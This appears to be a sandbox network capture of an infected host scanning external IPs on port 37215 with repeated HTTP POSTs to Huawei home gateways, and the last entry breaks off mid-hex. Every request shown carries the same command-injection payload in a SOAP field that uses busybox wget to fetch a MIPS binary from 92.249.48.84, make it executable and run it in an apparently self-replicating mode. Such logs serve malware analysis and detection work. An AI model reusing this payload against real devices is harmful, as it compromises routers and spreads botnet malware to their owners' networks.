Oct 14, 2024 17:30:20.918901920 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.14	42510	41.179.37.83	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:20.918930054 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.14	59800	197.146.123.93	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:20.918941975 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.14	38268	41.231.22.99	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:20.918968916 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.14	49018	156.162.122.59	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:21.240833044 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.14	46688	41.134.185.181	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:21.240876913 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.14	44726	41.82.14.39	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:21.240894079 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.14	41126	41.202.25.232	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:21.240947008 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.14	57236	156.130.60.73	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:21.240956068 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.14	32954	41.120.222.156	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:21.240987062 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.14	39920	156.63.150.161	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:21.241024971 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 